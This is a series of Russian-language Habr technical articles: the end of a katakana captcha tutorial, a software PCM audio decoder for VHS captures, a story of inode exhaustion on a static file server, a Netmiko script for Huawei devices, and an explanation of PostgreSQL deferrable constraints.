imagettftext ($im, $font_arr[$n]["size"], rand(3, 4), $x, rand(54, 55), "000000", img_dir.$font_arr[$n]["fname"], $letter);
}
```
В итоге мы получаем вот это:
Практически готово. Я проверил работу капчи, введя правильный вариант именно что символами катаканы. Но что же делать 馬鹿外人, у которых нету поддержки ввода японских символов? Необходимо сделать так, что бы валидация проходила с транскрипцией. Для этого придется писать целую функцию:
```
function kanatoroma($str){
$replace_of = array('ア','イ','ウ','エ','オ','カ','キ','ク','ケ','コ',
'サ','シ','ス','セ','ソ','タ','チ','ツ','テ','ト','ナ','ニ','ネ','ヌ',
'ノ','ハ','ヒ','フ','ヘ','ホ','マ','ミ','ム','メ','モ','ヤ','ユ','ヨ',
'ラ','リ','ル','レ','ロ','ワ','ン');
$replace_by = array('a','i','u','e','o','ka','ki','ku',
'ke','ko','sa','shi','su','se','so','ta','chi','tsu','te',
'to','na','ni','ne','nu','no','ha','hi','fu','he','ho','ma',
'mi','mu','me','mo','ya','yu','yo','ra','ri','ru','re','ro','wa','n');
$_result = str_replace($replace_of, $replace_by, $str);
return $_result;
}
```
С помощью этой чудесной функции мы сохраняем в сессию правильное решение капчи в виде ромадзи.
Вот и все :) Кана-капча готова!
[Протестировать себя на знание катаканы](http://хабракарма.рф/captcha/kana/)
[Чит](http://www.primitivestate.com/GetImage.ashx?file_id=761&im=7)
Кстати, домен я такой взял специально, что бы в будущем хостить под ним всякие ништяки, которые я буду на хабре публиковать :)
И да, это не последний мой топик про капчу, самое интересное впереди :) | https://habr.com/ru/post/121029/ | null | ru | null |
# Была ли жизнь до Audio CD? Программный декодер PCM
В [прошлой статье](https://habr.com/ru/post/497666/) мы рассказали про динамические QR коды, которые записывали на VHS кассеты. Эпидемия PCM зацепила и меня, так что пришло время поковырять этот формат.
На первом этапе будем пытаться реализовывать программный декодер. Это ещё не последняя статья по данной тематике, так как на японских аукционах процессоры могут и закончиться, а PCM должен быть в каждом доме! *Найти видик не проблема.*
Для работы понадобится файл с записью этих самых QR кодов. Получить его можно при помощи платы видеозахвата. Ну и источник сигнала, разумеется. Можно захватить напрямую выход процессора или же запись на магнитофоне. В идеале, работать сразу с устройством захвата, чтобы декодировать сигнал в реальном времени.
Подойдет любой язык. Начинал я с Python. Но он оказался достаточно медленным на моем ноутбуке, так что в результате перешел на C++. К слову, независимо друг от друга (почти) нашим небольшим сообществом развиваются 3 проекта декодера: на OpenCV (С++), на Qt (С++) и на LabView. О первом и пойдет речь. OpenCV выбрана из-за простоты работы как с устройствами захвата, так и заранее записанными видео. Плюс все манипуляции с изображением там сильно оптимизированы.
Первая проблема, с которой обязательно столкнешься — потерянные данные. Они в любом случае будут и никак этого не избежать без “специализированного” оборудования. PCM использует больше строк, чем помещается в видимую область кадра. В случае с NTSC регионом это число составляет 492 строки на кадр при видимой области в 480. В случае с PAL все куда печальнее.
> Интересный факт 1. PCM процессоры в режиме NTSC имеют частоту дискретизации 44,056 kHz, а в PAL привычные нам 44,1 kHz.
> Интересный факт 2. Именно мусором в невидимых строках и защищали в свое время VHS кассеты от копирования. Белыми строками сводили с ума АРУ (блок автоматической регулировки уровня). Во время воспроизведения все шло нормально, а вот при записи начинались проблемы. Кстати, некоторые программы для захвата с кассет умеют определять наличие защиты от копирования. Это значит, что содержимое служебных строк все же можно получить. Но сложно.
Решений этой проблемы существуют два. Работать с платой захвата хитрым образом в обход драйвера и забирать данные с АЦП, после чего их преобразовывать в полный PCM кадр, или же забить на пропущенные строки. Второй вариант звучит немного дико, но формат хранения данных позволяет восстановить часть данных. В случае с регионом NTSC получается уложиться в ограничения системы коррекции ошибок.
Из-за использования служебных строк нельзя взять видеокарту с композитным выходом и заставить PCM процессор играть. Железо проигнорирует весь кадр, если не найдет заголовок в определенной строке. Есть пара мыслей на этот счет, но об этом как-нибудь потом.
Начнем с того, что видеосигнал идет с чересстрочной разверткой. Каждый кадр содержит в себе как бы два, составленные из нечетных и четных строк. Они называются полями. Именно с полями PCM процессор и работает. Следовательно, и нам нужно разбить исходный поток. Только перед этим черно-белое (оттенки серого) изображение неплохо бы преобразовать в бинарное, чтобы было проще работать.
В этом месте натыкаемся на три трудности, связанные с особенностями устройств видеозахвата. Использовать статический порог для бинаризации изображения нельзя. Но эту проблему решает сам OpenCV, с помощью которого одной волшебной строчкой получаем вполне достойный результат.
```
threshold(greyFrame, fullFrame, 0, 255, THRESH_BINARY + THRESH_OTSU);
```
Второй проблемой является, внезапно, цвет. PCM процессоры не используют цветовую составляющую видеосигнала, но платы захвата могут пытаться извлечь её из шумов. Особенно это заметно на самом дешевом EasyCAP. Это может немного испортить результат бинаризации, так что сначала изображение нужно преобразовать к оттенкам серого.
```
cvtColor(srcFrame, greyFrame, CV_BGR2GRAY);
```
Кроме вышеупомянутого, EasyCAP умудряется перепутать поля местами. Точнее пропускает первую строку, из-за чего все остальные строки оказываются не на своих местах. Для записи утренника из детского сада это не сильно важно, а вот тут уже становится проблемой. Расставить строки в правильном порядке достаточно легко. В конце каждого кадра есть область без данных. Если мы передвинем строки, содержащие полезный сигнал, вниз до упора, то поля гарантированно вернутся на свои места. При изучении пробовал использовать три устройства захвата из различных ценовых диапазонов, но самым полезным в итоге оказалось самое дешевое, так как оно вскрыло ряд проблем.
*На изображении можно наблюдать цветные пятна и более высокий уровень яркости бит данных, если сравнивать с первой иллюстрацией статьи, захваченной на Magewell Pro Capture AIO.*
Самое время вспомнить, на чем хранится сигнал. Магнитофоны стандарта VHS не отличаются особым качеством, так как это бытовой формат. Одних только кадровых и строчных синхроимпульсов недостаточно для стабильной работы. Следовательно, в видеосигнал внесены дополнительные метки синхронизации. В каждой строке в начале имеется последовательность из чередующихся двух белых и двух черных “пикселей”, а в конце строки небольшая область с максимальной яркостью, которая подстраивает АРУ. Сами же биты данных имеют яркость 60% от максимальной для 1 и менее 20% для 0. Вот пример, почему эти метки необходимы: завороты картинки с кассет в начале и конце кадра.
По меткам синхронизации в каждой строке находится область данных. Далее нужно определить ширину бита (всего 128 бит в строке) и ужать строку изображения до 16 байт.
Рассмотрим поближе формат данных. Строка состоит из 8 блоков по 14 бит, содержащих значения для вывода на ЦАП (сэмплы) и коды коррекции ошибок, и блока с контрольной суммой (CRC-16/CCITT-FALSE). По контрольным суммам определяются выпавшие строки, данные в которых аппарат попытается восстановить. На каждой строке хранится по три сэмпла для левого и правого каналов, блок четности P (xor всех сэмплов) и загадочное Q. Порядок следующий: L0, R0, L1, R1, L2, R2, P, Q. Про коррекцию по Q сегодня не будем, так как этот материал ещё не до конца изучен и реализация требует отладки.
Если использовать “как есть”, то побитая строка означает выпадение сразу трех сэмплов, что будет заметно уху по металлическому звону. Но диды были умнее и решили записывать данные лесенками. С одной строки берется только один блок. Следующий берется с небольшим смещением. Ступенька лестницы занимает 16 строк. Блок L0 берется с 1 строки. Блок R0 с 17 строки… Таким образом, с помощью блока четности, можно восстановить данные 16 потерянных подряд строк. Но только при наличии одной ошибки внутри лесенки. Блок Q же позволяет исправить две ошибки, что восстанавливает уже до 32 потерянных строк.
Рассмотрим простой пример. Имеется фрагмент PCM кадра, в котором побились несколько строк (выделены красным). Первые 4 лесенки обработаются нормально. Пятая захватит битую строку. Первым теряется блок Q, но, так как он служит для коррекции ошибок, а сами сэмплы не повреждены, можно идти дальше. С шестой лесенкой поступаем аналогично. Далее снова идут не поврежденные лесенки вплоть до 21. В ней страдает уже блок P. Он тоже служит для восстановления данных. Можно пропустить. Так идем до 37 лесенки, где будет поврежден сэмпл правого канала. Чтобы его восстановить нужно выполнить XOR для блока четности и всех остальных сэмплов:
В результате получим исходное значение. При наличии двух ошибок идет попытка восстановления с использованием блока Q. Если их больше, то с этим уже ничего не сделать, кроме как интерполировать значения битых сэмплов или обнулить их.
Процесс прохода по полю можно наблюдать на небольшой GIF анимации.
И так идем до момента, пока последняя ступенька лестницы не упрется в конец поля. Аппаратный PCM имеет циклический буфер. Как только строка была обработана — её можно заполнить новыми данными. Таким образом, последняя ступенька прыгает вверх без прерывания воспроизведения.
Я избрал немного иной принцип работы. Сейчас уже нет такого ограничения на память, так что буфер имеет немного больший размер: высота поля плюс высота лесенки. Как только лесенка доходит до конца буфера — последние 111 строк переносятся в начало, а заполнение новыми данными идет уже со 112 строки. Разумеется, нельзя забывать, что при работе с картой захвата часть строк мы теряем. Поэтому обязательно заполняем недостающие строки нулями, чтобы по ошибкам CRC отметить их для дальнейшего восстановления.
Изначально PCM был 14-битный. Но со временем, когда VHS видеомагнитофоны повысили качество картинки, производители перешли на 16 бит, не забыв при этом про обратную совместимость.
> Забавный факт 3. На некоторых 14-битных PCM процессорах стояли 12 битные АЦП. А два недостающих бита были просто копией старшего бита с выхода АЦП (он же отвечает за знак).
В 16-битном PCM блока Q вообще нет, так что в заголовке поля имеется специальная отметка «коррекция по Q невозможна». Вместо него собраны по 2 недостающих бита сэмплов и P. Высота лесенки в данном случае уже не 8 ступенек, а всего 7, так как недостающие биты блока хранятся на его же строке, а не отдельно. Понять, как устроен 16-битный PCM достаточно просто на примере захвата меандра частотой в 100 Герц и максимальной амплитудой. Все сразу встает на свои места.
Теперь самое время сохранить результат в wav файл. Поможет в этом библиотека libsndfile. Хотя… PCM же не сохраняет файлы, а сразу же воспроизводит. Тут можно вспомнить про такую классную штуку, как pipe. Когда вывод одной программы поступает на вход другой. Просто указываем stdout как назначение и перенаправляем поток в программу ffplay.
```
./ggg -i easycap.avi -o - | ffplay -
```
*Теперь можно наслаждаться выпадениями и продолжать отлаживать код, чтобы от них избавиться...*
На этом на сегодня все. Скачать исходники декодера можно со странички на GitHub: <https://github.com/walhi/pcm>. Там же есть и генератор. ~~Когда-нибудь я оформлю его как плагин для foobar...~~
Сейчас ведется активная работа по допиливанию восстановления по блоку Q, так что для более менее корректной работы придется попрыгать по коммитам. Но это мелочи. Желающие поиграть могут [скачать пример](https://cloud.mail.ru/public/JS9P/HHcPXg1ZE) захвата. | https://habr.com/ru/post/497946/ | null | ru | null |
# 8 ТБ на сайт с презентациями
В [предыдущей статье](https://habr.com/ru/post/711584/) мы рассказали, как построили работу серверов и оптимизировали изображения в нашем [агрегаторе презентаций](https://slide-share.ru/). Это помогло. Дискам стало легче, страницы сайта начали загружаться быстрее. После того, как контент разлетелся по разным дискам, мы снова запустили конвейер обработки презентаций. Контент попёр. Мы радовались, даже не замечая, что целимся в собственную ногу.
Больше контента — больше возможностей для монетизации.В какой‑то момент **изображения стали отдаваться медленно**. Точнее ОЧЕНЬ медленно. И не только отдаваться. Иногда не получалось установить соединение с nginx»ом. Iotop снова показывал нагрузку в 99,99%, только теперь на двух дисках. Как? Откуда такая нагрузка? Наверное, мы стали слишком популярными. И диски медленные.
> За такие мысли моя прошлая версия заслуженно получила бы по голове.
>
>
#### Проблемы со свободным местом на дисках
**Конвейер с обработкой презентаций остановился**. Раз — и новых презентаций больше не было. В логах висела грустная надпись, что не удалось сохранить файл на диск — место кончилось. Мы съели восемь терабайт.
При этом вывод `df` показывал, что место еще есть. И не какие‑то зарезервированные в ext4 проценты, а вполне адекватные значения. Но ничего на диске сделать не получалось.
> Проблема в том, что люди бывают не только глупыми, но и невнимательными.
>
>
Маркетологи предложили удалить непосещаемые презентации, чтобы освободить место. За неимением других вариантов приняли это решение. Собрали презентации, которые приносили мало трафика, и спокойно закинули на удаление.
Массовое удаление страниц из проекта.Удаление шло долго. Дискам и без того было тяжело, а тут требовалось удалить несколько миллионов мелких файлов, раскинутых по глубоким путям. Наконец, оно закончилось. Мы радостно запустили конвейер, увидели, что процесс пошёл, и мирно оставили его. Зря.
#### Поиск и решение проблемы
Через не очень продолжительное время контейнер с обработкой остановился. Снова. Ровно с той же проблемой — нет места на диске. А `df`снова показывает, что место есть и его много.
> Небольшое техническое отступление, чтобы пояснить, что произошло. В ext4 всё — файл. И папка — это файл. Для организации файловой таблицы используются inode — специальные структуры данных, которые хранят различные метаданные о хранимых файлах. Количество этих самых inode конечно и задаётся при первоначальном создании файловой системы. Например, на нашем сервере со статикой, на разделе в 4 терабайта будет где-то 243 миллиона этих самых inode. Каждый файл при сохранении использует 1 inode.
>
>
Места не было. Я буквально ничего не мог сделать. Почистил всё, что можно, но существенно это ситуацию не поменяло. Тут я вспомнил про inode ы. Пишу `df ‑i` и… впадаю в ступор. IUse% — 100. На двух дисках. Как? Что могло съесть такое количество inode? И тут до меня начинает ме‑е‑едленно доходить.
Сколько всего inode? Примерно 243 миллиона. Насколько глубокий путь я делал для статики? 8 папок. Что там с распределением? Начиная где-то с третьей папки количество папок в подпапках будет в районе единицы. Используя очень грубую оценку, можно получить, что при сохранении одного файла на диск мы занимаем 9 inode — 1 для файла, 8 для папок.
Каждая картинка сохраняется как две — ещё в WebP. Отдельно лежат слайды, отдельно лежат изображения со слайдов. Ещё отдельно лежат сами презентации, но их количество на пару порядков меньше, поэтому пока что пренебрегаем ими. Используя методы для статистики, я получил что-то в районе 13–14 миллионов файлов в сервисе статики. Умножив это число на 9, а затем на 2, получил те самые 243 миллиона inode. **Загадка разгадана**.
Делать-то что? Конвейер с обработкой презентаций остановлен. Его нет смысла запускать, мы снова займем все inode’ы. На ум приходит хорошее и более разумное решение. Делаем, скажем, всего два уровня папок по тому же правилу с хэшом.
> Об этом моя прошлая версия не догадалась, а решила броситься в крайность. Сначала мы все храним в одной папке — это плохо, поэтому будем хранить все в отдельных и максимально дробных папках.
>
>
Иногда лучшее — враг хорошего.Идем по проторенной дорожке. Вносим изменения в сервис для статики, чтобы все новое раскладывалось с учётом исправлений. Делаем небольшое приложение, которое будет рекурсивно поднимать всю старую статику наверх на несколько уровней. Настраиваем nginx для корректной обработки старых ссылок.
Параллельно решаем избавиться от изображений со слайдов — их много, а процент трафика с них небольшой. Таким образом, у нас снова пачка операций на дисках, только теперь уже на двух. Одна — удаление изображений, вторая — перенос старых изображений.
Оцениваем время, которое потребуется на удаление и перенос. Получаем неприятные **2–2,5 месяца**, когда конвейер с обработкой презентаций запускать бессмысленно. Обидно, досадно, но ладно. Пока происходят тяжелые операции на дисках, можно заняться менее детерминированными задачами, которые улучшат ситуацию. Например, сделать превентивное удаление дублей контента, о котором расскажем в следующий раз. | https://habr.com/ru/post/713974/ | null | ru | null |
# Мой друг Netmiko. Часть 3: один скрипт для разных устройств Huawei
Мы уже разобрали в прошлых частях как накатить на сетевые устройства Huawei список команд из внешнего файла. И это работает, если у нас сеть состоит из одинаковых устройств. Конечно, в реальной практике такое встречается редко. В этой работе мы рассмотрим как использовать разные конфигурационные файлы для разных устройств Huawei, при этом не выходя за рамки одного скрипта. То есть у нас будет все тот же скрипт на основе Netmiko, но в зависимости от версии устройства, конфиг будет накатываться разный: один конфиг для коммутатора CloudEngine Huawei, другой конфиг для роутера AR3200 Huawei.
Как обычно, полный скрипт приведу в конце статьи, видеодемонстрация доступа по [ссылке](https://forum.huawei.com/enterprise/ru/forum.php?mod=viewthread&tid=850901) на Форуме Huawei ICT Club.
Чтобы наглядно продемонстрировать как сложна бывает жизнь сетевого инженера, нужно было найти пример задания, реализация которого отличалась бы в зависимости от вида устройства или программного обеспечения. Далеко ходить не пришлось: недавно на форуме Huawei ICT Club, в рамках создания материалов для HCIP Datacom, [показывали](https://forum.huawei.com/enterprise/ru/forum.php?mod=collection&action=view&ctid=711) как на коммутаторах серии S ограничить обработку ICMP запросов. Эта конфигурация для CloudEngine отличается от конфигурации для AR. Исходя из этого различия, я создал два конфигурационных файла. Один назвал “switch\_file\_config”, в котором прописал команды для CloudEngine:
```
icmp rate-limit threshold 5
commit
return
```
Другой назвал “router\_file\_config”, в котором прописал команды для AR-роутера:
```
icmp rate-limit enable
icmp rate-limit threshold 5
return
```
Как видите, для AR нужно сначала применить команду активации, а для CE нет. Кроме того, для CE важно завершать любую конфигурацию командой `commit`, иначе конфиг не применится.
Теперь зададимся вопросом: каким будет логика скрипта?
Скрипт подключается к устройству и применяет команду `display version`, затем ищет в полученном выводе точное совпадение из списка, который мы ему пропишем в переменной `list_versions`:
```
list_versions = ['CE6800 V200R005C10SPC607B607',
'AR3200 V200R003C00'
]
```
При этом скрипт сначала выведет на экран надпись “Подключаюсь к устройству” + IP адрес устройства. Затем “Ищу версию ПО” + первое значение из списка `list_versions`. Если версия совпадет, то скрипт выводит на экран “Найдена версия ПО” + совпавшее значение из списка `list_versions`. Если не совпадет, то “Не смог найти” + значение из списка `list_versions`. Реализуем это с помощью цикла `for in`, который будет работать в основном цикле подключения к устройствам из списка devices, то есть делаем цикл в цикле. Затем используем условную инструкцию `if-elif-else` для реализации логики «совпадает/не совпадает». И метод `find()`, которое вернет значение -1, если значение не будет найдено.
```
# Проверка версии ПО
for software_ver in list_versions:
print ('Ищу версию ПО ' + software_ver)
output_version = ssh_connect.send_command('display version')
int_version = 0 # Сбрасываем цельночисловое значение
int_version = output_version.find(software_ver) # Проверка версии ПО
if int_version > 0:
print ('Найдена версия ПО ' + software_ver)
break
else:
print ('Не смог найти ' + software_ver)
```
Утверждение `break` нужно для того, чтобы остановить цикл после успешного совпадения.
После этого остается только прописать за какими командами обращаться в зависимости от полученного результата, а именно: если версия CE6800, то обращаться к командам `config_lines_switch`, а если AR3200, то к `config_lines_router`:
```
if software_ver == 'CE6800 V200R005C10SPC607B607':
print ('Накатываю команды для ' + software_ver + '...')
output = ssh_connect.send_config_set(config_lines_switch)
elif software_ver == 'AR3200 V200R003C00':
print ('Накатываю команды для ' + software_ver + '...')
output = ssh_connect.send_config_set(config_lines_router)
print(f"\n\n-------------- Сетевое устройство {network_device['ip']} --------------")
print(output)
print("----------------------- Конец ----------------------")
```
Для эстетики вывода конфигурация будет замыкаться между надписями “Сетевое устройство” + IP, и “Конец”. Например, так:
Видеодемонстрацию наката конфигурации, как и говорил, можете посмотреть [по ссылке](https://forum.huawei.com/enterprise/ru/forum.php?mod=viewthread&tid=850901).
Полный скрипт можно представить следующим образом:
```
from getpass import getpass
from netmiko import ConnectHandler
from netmiko.ssh_exception import NetMikoTimeoutException
from paramiko.ssh_exception import SSHException
from netmiko.ssh_exception import AuthenticationException
username = input('Введите имя пользователя SSH: ')
password = getpass()
with open('switch_file_config') as f:
config_lines_switch = f.read().splitlines()
with open('router_file_config') as f:
config_lines_router = f.read().splitlines()
with open('mydevices') as f:
ip_lines = f.read().splitlines()
for device in ip_lines:
print ('Подключаюсь к устройству: ' + device)
ip_address_of_device = device
network_device = {
'device_type': 'huawei',
'ip': ip_address_of_device,
'username': username,
'password': password
}
try:
ssh_connect = ConnectHandler(**network_device)
except (AuthenticationException):
print ('Неверные данные аутентификации: ' + ip_address_of_device)
continue
except (NetMikoTimeoutException):
print ('Нет ответа от устройства: ' + ip_address_of_device)
continue
except (SSHException):
print ('SSH недоступен. Проверьте включен ли SSH? ' + ip_address_of_device)
continue
# Виды устройств
list_versions = ['CE6800 V200R005C10SPC607B607',
'AR3200 V200R003C00'
]
# Проверка версии ПО
for software_ver in list_versions:
print ('Ищу версию ПО ' + software_ver)
output_version = ssh_connect.send_command('display version')
int_version = 0 # Сбрасываем цельночисловое значение
int_version = output_version.find(software_ver) # Проверка версии ПО
if int_version > 0:
print ('Найдена версия ПО ' + software_ver)
break
else:
print ('Не смог найти ' + software_ver)
if software_ver == 'CE6800 V200R005C10SPC607B607':
print ('Накатываю команды для ' + software_ver + '...')
output = ssh_connect.send_config_set(config_lines_switch)
elif software_ver == 'AR3200 V200R003C00':
print ('Накатываю команды для ' + software_ver + '...')
output = ssh_connect.send_config_set(config_lines_router)
print(f"\n\n-------------- Сетевое устройство {network_device['ip']} --------------")
print(output)
print("----------------------- Конец ----------------------")
```
Другие аспекты скрипта раскрыты в предыдущих постах:
[Применение exception при накате Python-скрипта на Huawei](https://habr.com/ru/post/655015/)
[Мой друг Netmiko. Часть 2: Три улучшения Python-скрипта](https://habr.com/ru/users/vasyo/posts/)
[Мой друг Netmiko](https://habr.com/ru/company/huawei/blog/594229/comments/)
Литература:
<https://stackoverflow.com/questions/5563089/raw-input-function-in-python>
<https://pynet.twb-tech.com/blog/automation/netmiko.html>
<https://pyneng.readthedocs.io/en/latest/book/18_ssh_telnet/netmiko.html>
<https://github.com/ktbyers/netmiko>
<https://github.com/ktbyers/netmiko/blob/master/netmiko/ssh_dispatcher.py>
Udemy.com - Python Network Programming for Network Engineers (Python 3) (David Bombal)
[https://www.pythoncentral.io/pythons-range-function-explained](https://www.pythoncentral.io/pythons-range-function-explained/) | https://habr.com/ru/post/657981/ | null | ru | null |
# PostgreSQL отложенные SQL ограничения
На Хабре уже было несколько статей упоминающих deferred constraints.
* [Postgres: bloat, pg\_repack и deferred constraints](https://habr.com/ru/company/miro/blog/499444/)
* [Ограничения (сonstraints) PostgreSQL: exclude, частичный unique, отложенные ограничения и др](https://habr.com/ru/post/311586/)
Но хочется рассказать о них подробнее.
**От переводчика: терминология**
* Constraint — ограничение
* SQL statement — SQL-запрос
Одна из сильных сторон реляционных СУБД это постоянная бдительность за согласованностью данных (ACID, C — Согласованность). Разработчик может задать ограничения данным, а СУБД будет следить за их исполнением. Это позволяется избежать многих потенциальных ошибок.
Автоматическая проверка ограничений это мощный функционал, который при возможности должен быть использован. Однако, бывают случаи, когда удобно и даже необходимо временно отложить их исполнение.
### Гранулярность проверки ограничений
В PostgreSQL есть 3 уровня проверки ограничений
1. **По строке**. SQL-запрос, который обновляем множество строк, остановится на первой строке, не удовлетворяющей ограничению.
2. **По запросу**. В этом случае запрос произведет все изменения, прежде чем проверить ограничения.
3. **По транзакции**. Любой запрос внутри транзакции может нарушить ограничение. Но в момент фиксации, ограничения будут проверены и транзакция откатится, если хотя бы одно из них не будет выполнено.
В PostgreSQL уровень всех ограничений по умолчанию — NOT DEFERRABLE.
Чтобы изменить гранулярность проверки ограничения мы должны явно объявить ограничение как отложенное. При этом некоторые ограничения нельзя отложить. CHECK и NOT NULL всегда будут проверяться для каждой строки. Это поведение PostgreSQL нарушает SQL-стандарт.
**От переводчика**
Вероятно, имеется ввиду стандарт [SQL92](http://www.contrib.andrew.cmu.edu/~shadow/sql/sql1992.txt). Раздел 4.10 Integrity constraints
Every constraint descriptor includes:
* the name of the constraint;
* an indication of whether or not the constraint is deferrable;
* an indication of whether the initial constraint mode is deferred or immediate;
Прежде чем рассмотреть когда/зачем использовать отложенные ограничения, давайте рассмотрим как они работают. Вначале создадим отложенное ограничение.
```
ALTER TABLE foo
ADD CONSTRAINT foo_bar_fk
FOREIGN KEY (bar_id) REFERENCES bar (id)
DEFERRABLE INITIALLY IMMEDIATE; -- магия, объявляющая ограничение с возможностью быть отложенным, но по умолчанию оно будет проверяться сразу.
```
Отложенные ограничения дают транзакциям гибкость. Любая транзакция может выбрать отложить или нет проверку *foo\_bar\_fk*:
```
BEGIN;
-- Отложить проверку ограничения
SET CONSTRAINTS foo_bar_fk DEFERRED;
-- ...
-- Производим операции над bar_id
-- ...
COMMIT; -- В данном месте произойдёт проверка ограничения
```
Кроме того, мы можем использовать другой подход и объявить ограничение при создании как *DEFERRABLE INITIALLY DEFERRED*. Если транзакция не хочет откладывать проверку такого ограничения, то она может выполнить *SET CONSTRAINTS constraint\_name IMMEDIATE*.
Без явного начала транзакции через BEGIN каждый запрос выполняется в своей неявной транзакции из одного запроса, поэтому нет разницы между IMMEDIATE и DEFERRED для одного запроса.
Попытка отложить ограничения вне транзакции не работает и приведёт к предупреждению *WARNING: 25P01: SET CONSTRAINTS can only be used in transaction blocks*.
Ещё одно важно замечание. Ограничения UNIQUE и PRIMARY KEY, объявленные как DEFERRABLE INITIALLY IMMEDIATE будут проверяться не на уровне строки, а на уровне запроса. Даже если транзакция не откладывает проверку ограничения, гранулярность всё равно изменится.
Давайте рассмотрим отличие гранулярности проверки на уровне строки и запроса на следующем примере.
```
CREATE TABLE snowflakes ( i int UNIQUE NOT DEFERRABLE);
INSERT INTO snowflakes VALUES (1), (2), (3);
UPDATE snowflakes SET i = i + 1;
```
UNIQUE ограничение здесь не отложенное, поэтому UPDATE будет в режиме «по строке» и не выполнится со следующей ошибкой.
```
ERROR: 23505: duplicate key value violates unique constraint "snowflakes_i_key"
DETAIL: Key (i)=(2) already exists.
```
Если бы PostgreSQL дождался обновления всех строк (как в проверке на уровне «по запросу»), то проблем бы не было. Значение i в строках будет последовательно увеличиваться и в итоге они все станут уникальными. Так как PostgreSQL проверяет ограничения сразу, то после обновления первой строки с i=1 на i=2 состояние таблицы будет 2, 2, 3.
Построчная проверка ограничений хрупка и зависит от физического расположения строк. Например, если бы мы заполнили таблицу в обратном порядке *INSERT INTO snowflakes VALUES (3), (2), (1))*, то UPDATE сработал бы.
Подводя итог, объявление ограничения отложенным позволяет транзакциям отложить проверку до фиксации. А также влияет на поведение некоторых ограничений вне транзакций. Например, следующий SQL отработает безошибочно.
```
CREATE TABLE snowflakes ( i int UNIQUE DEFERRABLE INITIALLY IMMEDIATE);
INSERT INTO snowflakes VALUES (1), (2), (3);
UPDATE snowflakes SET i = i + 1;
```
### Зачем нужны отложенные ограничения?
#### Циклические внешние ключи
Классический пример — создание двух таблиц, связанных циклическими проверками согласованности.
```
CREATE TABLE husbands (
id int PRIMARY KEY,
wife_id int NOT NULL
);
CREATE TABLE wives (
id int PRIMARY KEY,
husband_id int NOT NULL
);
ALTER TABLE husbands ADD CONSTRAINT h_w_fk
FOREIGN KEY (wife_id) REFERENCES Wives;
ALTER TABLE wives ADD CONSTRAINT w_h_fk
FOREIGN KEY (husband_id) REFERENCES husbands;
```
Для создание строки в таблице husbands, необходимо в то же время создать строку в таблице wives. В данном случае у нас ничего не получится, так как внешние ключи проверяются на уровне строк, и для вставки в две таблицы нужно два запроса INSERT. Чтобы разрешить данную задачу мы можем отложить проверку ограничений.
```
ALTER TABLE husbands ALTER CONSTRAINT h_w_fk
DEFERRABLE INITIALLY DEFERRED;
ALTER TABLE wives ALTER CONSTRAINT w_h_fk
DEFERRABLE INITIALLY DEFERRED;
```
Так как циклические ограничения с большой вероятностью нужно всегда откладывать, то мы объявили их отложенными по умолчанию. Теперь мы можем заполнить таблицы данными.
```
BEGIN;
INSERT INTO husbands (id, wife_id) values (1, 1);
INSERT INTO wives (id, husband_id) values (1, 1);
COMMIT;
-- и жили они долго и счастливо :)
```
У нас получился аккуратный пример, как по учебнику. Но есть один маленький грязный хак.
PostgreSQL имеет альтернативный вариант решения без использовния отложенных ограничений.
```
-- Сделаем ограничения вновь проверяемыми сразу
ALTER TABLE husbands ALTER CONSTRAINT h_w_fk
NOT DEFERRABLE;
ALTER TABLE wives ALTER CONSTRAINT w_h_fk
NOT DEFERRABLE;
-- Вместо двух INSERT выполним один SQL-запрос
WITH wife AS (
INSERT INTO wives (id, husband_id)
VALUES (2, 2)
)
INSERT INTO husbands (id, wife_id)
VALUES (2, 2);
```
Общие табличные выражения ([CTEs](https://www.postgresql.org/docs/current/queries-with.html)) позволяют выполнить несколько SQL-запросов, которые будут считаться одним при проверке ограничений, так как внешние ключи проверяются на уровне запроса.
Хотя мы и нашли способ не использовать отложенные ограничения для циклических внешних ключей, это всё равно хорошее начало чтобы познакомиться с отложенными ограничениями.
#### Перестановка элементов, по одному на группу
В данном примере, мы рассмотрим набор классов школы с ровно одним прикрепленным учителем. Пусть мы хотим переставить учителей двух классов. Ограничения усложняют нам жизнь.
```
CREATE TABLE classes (
id int PRIMARY KEY,
teacher_id int UNIQUE NOT NULL
);
INSERT INTO classes VALUES (1, 1), (2, 2);
```
Трюк с CTE не получится так как не отложенное ограничение UNIQUE проверяется на уровне строки, а не запроса.
```
WITH swap AS (
UPDATE classes
SET teacher_id = 2
WHERE id = 1
)
UPDATE classes
SET teacher_id = 1
WHERE id = 2;
ERROR: 23505: duplicate key value violates unique constraint "classes_teacher_id_key"
DETAIL: Key (teacher_id)=(1) already exists.
```
Чтобы переставить учителей без отложенного ограничения на *teacher\_id*, мы можем
использовать [временного](https://en.wikipedia.org/wiki/Swap_(computer_programming)#Using_a_temporary_variable) учителя.
```
-- Временный учитель 999, позволит произвести перестановку
UPDATE classes SET teacher_id = 999 WHERE id = 1;
UPDATE classes SET teacher_id = 1 WHERE id = 2;
UPDATE classes SET teacher_id = 2 WHERE id = 1;
```
Использование временного учителя это грязный хак. Более естественно создать таблицу с отложенным ограничением.
```
CREATE TABLE classes (
id int PRIMARY KEY,
teacher_id int NOT NULL UNIQUE
DEFERRABLE INITIALLY IMMEDIATE
);
```
Это позволит произвести обмен намного проще:
```
BEGIN;
SET CONSTRAINTS classes_teacher_id_key DEFERRED;
UPDATE classes SET teacher_id = 1 WHERE id = 2;
UPDATE classes SET teacher_id = 2 WHERE id = 1;
COMMIT;
```
Теперь будет работать подход CTE с неявной транзакцией, так как ограничение проверяется на уровне запроса, а не строки.
#### Перенумерация списка
Можно смоделировать список дел в упорядоченном порядке, использую целочисленный столбец *position*:
```
CREATE TABLE todos (
list_id int,
position int,
task text,
PRIMARY KEY (list_id, position)
);
INSERT INTO todos VALUES
(1, 1, 'write grocery list'),
(1, 2, 'go to store'),
(1, 3, 'buy items');
```
Каждая позиция уникальна в рамках списка из-за составного ограничения первичного ключа.
Допустим мы вспомнили, что забыли добавить элемент в начало списка «составить меню». Если мы хотим установить данному элементу позицию 1, то нужно сместить все остальные элементы на +1. Это такая же задача как и в прошлом примере про снежинки.
Объявив первичный ключ как отложенный, мы исправим данную проблему:
```
CREATE TABLE todos (
list_id int,
position int,
task text,
PRIMARY KEY (list_id, position)
DEFERRABLE INITIALLY IMMEDIATE
);
```
В данном случае PostgreSQL будет проверять ограничение на уровне запроса, и нам не нужно дополнительного запроса в транзакции, чтобы отложить проверку ограничения *SET… DEFERRED*.
```
UPDATE todos
SET position = position + 1
WHERE list_id = 1;
INSERT INTO todos VALUES
(1, 1, 'plan menus');
```
